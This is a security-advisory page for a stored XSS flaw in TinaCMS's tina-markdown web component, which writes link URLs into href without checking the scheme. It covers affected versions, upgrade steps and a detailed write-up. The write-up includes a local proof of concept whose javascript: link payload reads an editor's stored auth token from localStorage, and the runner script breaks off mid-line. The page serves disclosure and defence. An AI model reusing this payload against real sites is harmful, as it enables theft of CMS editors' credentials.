high · 7.6 Patched

@tinacms/web-components: `tina-markdown` writes rich-text link URLs into `href` without scheme validation, allowing stored XSS

CVE-2026-108260 · GHSA-c42q-qvc3-j6vg · published 9 Oct 2026

How serious is it

  • Severity: high, CVSS score 7.6 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2026-108260?

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Who is affected

  • @tinacms/web-components (npm) <= 0.2.0

How to check

  1. Run npm ls @tinacms/web-components in your project to see the installed version, including copies pulled in by other packages.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
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How to fix

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  1. Upgrade @tinacms/web-components to 0.2.1 or later, commit the lockfile and redeploy.
  2. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

### Summary `<tina-markdown>` renders a rich-text AST into the DOM and, for `a` nodes, assigns the node's URL straight to the anchor's `href` with no scheme check. A link authored in the CMS as `javascript:…` renders as a live `javascript:` anchor, so a visitor who clicks it executes attacker-supplied script in the site's origin. Every sibling renderer in the repository already sanitizes these URLs; this one does not. ### Details The unvalidated sink: ``` packages/@tinacms/web-components/src/tina-markdown.js:67-69 if (node.type === 'html' || node.type === 'html_inline') { return DOMPurify.sanitize(node.value, { RETURN_DOM_FRAGMENT: true }); } packages/@tinacms/web-components/src/tina-markdown.js:75 if (node.url && node.type === 'a') el.href = node.url; packages/@tinacms/web-components/src/tina-markdown.js:76 if (node.url && node.type === 'img') el.src = node.url; ``` `node.url` comes from the `content` attribute the site populates from the TinaCMS content API (`:169-176`), i.e. whatever a content author typed into a rich-text field. The DOMPurify call at `:68` handles only raw-HTML node values and returns before the anchor branch, so it never inspects `node.url`. Line 75 is a direct property assignment — no HTML parser, no sanitizer. The `mode: 'open'` shadow root (`:164-167`) provides no script isolation. The guard that exists in every sibling renderer: ``` packages/@tinacms/mdx/src/sanitize-url.ts:10 allowedSchemes = ['http','https','mailto','tel','xref'] packages/tinacms/src/rich-text/index.tsx:335 <a href={sanitizeUrl(child.url)}> packages/tinacms/src/rich-text/index.tsx:322 <img src={sanitizeUrl(child.url)} .../> packages/tinacms/src/rich-text/static.tsx:254 <a href={sanitizeUrl(child.url)}> packages/tinacms/src/rich-text/static.tsx:242 <img src={sanitizeUrl(child.url)} .../> packages/@tinacms/astro/src/LinkNode.astro:19 <a href={sanitizeHref(node.url)}> packages/@tinacms/astro/src/ImageNode.astro:16 <img src={sanitizeImageSrc(node.url)} .../> ``` `tina-markdown.js:75` is the only rich-text link sink in the repository that omits it — six of seven sanitize. That this is an oversight rather than intent: the `0.2.0` changelog entry states the goal of "matching the `components` prop on the React and Astro renderers" while adding DOMPurify for `html` nodes, and `packages/@tinacms/web-components/src/tina-markdown.test.ts:83-96` only asserts that an `https://example.com` link renders — no scheme case is covered either way. Default-enabled: `customElements.define('tina-markdown', TinaMarkdown)` runs at module scope (`:179`); importing the published entry point is the whole setup, with no option object or sanitizer setting. Suggested fix — reuse the existing dependency-free subpath export rather than adding a third implementation: ```js import { sanitizeUrl } from '@tinacms/mdx/sanitize-url'; if (node.url && node.type === 'a') el.href = sanitizeUrl(node.url); if (node.url && node.type === 'img') el.src = sanitizeUrl(node.url); ``` Variant with the same root cause and the same fix: `:76` (`img.src`). A `javascript:` URL does not execute from `img.src`, so it is not scored here, but the line has no validation either — which is why `@tinacms/astro` carries a separate `sanitizeImageSrc`. ### PoC Safe, local, non-destructive. One loopback server stands in for a public site rendering CMS rich-text. The page loads `tina-markdown.js` byte-for-byte from the checkout (bundled with its declared `dompurify` dependency) and also exposes the repository's own `sanitizeUrl` so the same input can be run through the canonical guard as a control. No traffic leaves the machine; the payload only writes a page-local variable. Environment used: Linux, Node v22.23.1, Google Chrome (`/usr/bin/google-chrome`) driven by `playwright@1.49.0`. **Setup** ```bash git clone https://github.com/tinacms/tinacms.git tinacms-poc cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163 REPO=$PWD mkdir -p /tmp/tina-tm/site && cd /tmp/tina-tm npm init -y >/dev/null npm i --ignore-scripts dompurify@3.3.1 esbuild@0.25.0 playwright@1.49.0 cp "$REPO/packages/@tinacms/web-components/src/tina-markdown.js" ./tina-markdown.js cp "$REPO/packages/@tinacms/mdx/src/sanitize-url.ts" ./sanitize-url.ts ``` `entry.js`: ```js import './tina-markdown.js'; // registers <tina-markdown> import { sanitizeUrl } from './sanitize-url.ts'; // the canonical guard, for the control window.__sanitizeUrl = sanitizeUrl; ``` `site/index.html` — the AST is what `@tinacms/graphql` returns for the markdown source `[click me](javascript:…)`: ```html <!doctype html><html><head><title>public site rendering CMS rich-text</title></head> <body> <h1>Site page</h1> <div id="host"></div> <script type="module" src="/bundle.js"></script> <script type="module"> const ast = { type: 'root', children: [ { type: 'p', children: [ { type: 'a', url: "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0", children: [{ type: 'text', text: 'click me' }] } ]} ] }; // Stand-in for a signed-in editor's stored TinaCMS credential. The real key and // value are written by packages/tinacms/src/internalClient/authProvider.ts:117. localStorage.setItem('tinacms-auth', 'DEMO-EDITOR-TOKEN'); const el = document.createElement('tina-markdown'); el.setAttribute('content', JSON.stringify(ast)); document.getElementById('host').appendChild(el); window.__ready = true; </script> </body></html> ``` `run.cjs`: ```js const http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright'); const PORT=8811, DIR=path.join(__dirname,'site'); const srv=http.createServer((req,res)=>{const p=req.url==='/'?'/index.html':req.url.split('?')[0]; const f=path.join(DIR,p); if(!f.startsWith(DIR)||!fs.exists…

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References

Merged from GitHub Advisory Database, NVD. Last updated 24 Oct 2026. All vulnerabilities · RSS · JSON